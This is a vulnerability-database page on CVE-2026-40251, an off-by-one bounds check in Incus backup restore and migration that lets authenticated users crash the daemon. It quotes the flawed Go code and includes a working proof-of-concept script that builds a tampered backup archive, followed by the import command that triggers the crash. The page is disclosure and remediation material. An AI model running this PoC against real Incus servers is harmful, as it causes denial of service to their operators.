Skip to main content

Incus CVE-2026-40251

HIGH
Out-of-bounds Read (CWE-125)
2026-05-04 https://github.com/lxc/incus GHSA-4m88-wxj4-9qj6
7.1
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
SUSE
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

5
Re-analysis Queued
May 06, 2026 - 21:22 vuln.today
cvss_changed
Severity Changed
May 06, 2026 - 21:22 NVD
MEDIUM HIGH
CVSS changed
May 06, 2026 - 21:22 NVD
6.5 (MEDIUM) 7.1 (HIGH)
Source Code Evidence Fetched
May 04, 2026 - 20:00 vuln.today
Analysis Generated
May 04, 2026 - 20:00 vuln.today

DescriptionGitHub Advisory

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.

When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.

An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {
    [...]
    postHook := func(inst instance.Instance) error {
        [...]
        for i, backupFileSnap := range srcBackup.Snapshots {
            var volumeSnapDescription string
            var volumeSnapConfig map[string]string
            var volumeSnapExpiryDate time.Time
            var volumeSnapCreationDate time.Time

            // Check if snapshot volume config is available for restore and matches snapshot name.
            if srcBackup.Config != nil {
                if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {
                    // Use instance snapshot's creation date if snap info available.
                    volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt
                }

                if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {
                    // If the backup restore interface provides volume snapshot config use it,
                    // otherwise use default volume config for the storage pool.
                    volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description
                    volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config

                    if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {
                        volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt
                    }

                    // Use volume's creation date if available.
                    if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
                        volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt
                    }
                }
            }

            [...]
        }
        [...]
    }
    [...]
}

[...]

func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {
    [...]
    if !isRemoteClusterMove || args.StoragePool != "" {
        for i, snapshot := range args.Snapshots {
            snapName := snapshot.GetName()
            newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)
            snapConfig := vol.Config()           // Use parent volume config by default.
            snapDescription := volumeDescription // Use parent volume description by default.
            snapExpiryDate := time.Time{}
            snapCreationDate := time.Time{}

            // If the source snapshot config is available, use that.
            if srcInfo != nil && srcInfo.Config != nil {
                if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {
                    // Use instance snapshot's creation date if snap info available.
                    snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt
                }

                if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {
                    // Check if snapshot volume config is available then use it.
                    snapDescription = srcInfo.Config.VolumeSnapshots[i].Description
                    snapConfig = srcInfo.Config.VolumeSnapshots[i].Config

                    if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {
                        snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt
                    }

                    // Use volume's creation date if available.
                    if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
                        snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt
                    }
                }
            }

            [...]
        }
    }
    [...]
}

PoC

The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.

Step 1: Generate a valid backup and tamper with its snapshot metadata

From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.

Commands:

cat <<'EOF' > poc_snapshot_bounds.sh
#!/bin/bash
set -e

BASE_NAME="base-$(date +%s)"
PANIC_NAME="panic-$(date +%s)"

incus init images:alpine/edge "$BASE_NAME" --project default
incus snapshot create "$BASE_NAME" snap0 --project default
incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default

mkdir -p extract_snapshot_bounds
tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/
chmod -R u+rwX extract_snapshot_bounds/

python3 -c "
import os
import sys

base = '$BASE_NAME'
panic = '$PANIC_NAME'

with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:
    lines = f.read().splitlines()

out = []
in_skip = False
skip_indent = 0

for line in lines:
    line = line.replace(base, panic)
    indent = len(line) - len(line.lstrip())

    if in_skip:
        if not line.strip():
            continue
        if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):
            continue
        else:
            in_skip = False

    if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):
        out.append(line.split(':')[0] + ': []')
        in_skip = True
        skip_indent = indent
        continue

    out.append(line)

with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:
    f.write('\n'.join(out))
"

cd extract_snapshot_bounds/
tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/
cd ..

rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz
echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz"
EOF

bash poc_snapshot_bounds.sh

Result:

[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz

Step 2: Trigger the vulnerable restore path

From the same Incus client, import the crafted archive.

Command:

incus import exploit_snapshot_bounds_panic.tar.gz --project default

Result:

Error: websocket: close 1006 (abnormal closure): unexpected EOF

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

AnalysisAI

Denial of service in Incus prior to version 7.0.0 allows authenticated users to crash the Incus daemon by importing a maliciously crafted backup archive with physical snapshot directories but tampered metadata arrays. The vulnerability stems from an incorrect bounds check (len(slice) >= i-1 instead of len(slice) > i) in the backup restore and migration code paths, enabling out-of-bounds array access that triggers a runtime panic. Repeated exploitation keeps the Incus service offline, confirmed by a publicly available proof-of-concept.

Technical ContextAI

The vulnerability exists in Incus' backup restore and instance migration subsystems (internal/server/storage/backend.go), specifically in the CreateInstanceFromBackup and CreateInstanceFromMigration functions. When processing backup archives containing physical snapshot directories, the code iterates through snapshots and attempts to correlate them with metadata from parsed YAML configuration slices (Config.Snapshots and Config.VolumeSnapshots). The flawed bounds check uses len(slice) >= i-1, which permits array indexing when i equals len(slice), resulting in out-of-bounds access in Go. The root cause is a classic off-by-one error in array bounds validation (CWE-125: Out-of-bounds Read). An attacker provides a backup with physical snapshot directories that drive the loop counter i, while the index.yaml contains empty or truncated snapshot metadata arrays, causing len(Config.Snapshots) and len(Config.VolumeSnapshots) to be less than the expected index, triggering an immediate runtime panic when the daemon attempts slice[i] dereference.

RemediationAI

Upgrade Incus to version 7.0.0 or later immediately to apply the fix for the out-of-bounds bounds check in backup restore and migration code paths. Vendor-released patch: 7.0.0. Until patching is feasible, mitigate by restricting access to the Incus backup/restore and migration features to trusted administrators only-disable or block the import endpoint (incus import) for untrusted users via network segmentation or API access controls. Additionally, disable instance snapshots if not required, or implement quota restrictions on snapshot counts per user to limit attack surface. Note that these mitigations do not eliminate the vulnerability; they only reduce exposure. Recommended advisory link: https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6.

Vendor StatusVendor

SUSE

Severity: Medium

Share

CVE-2026-40251 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy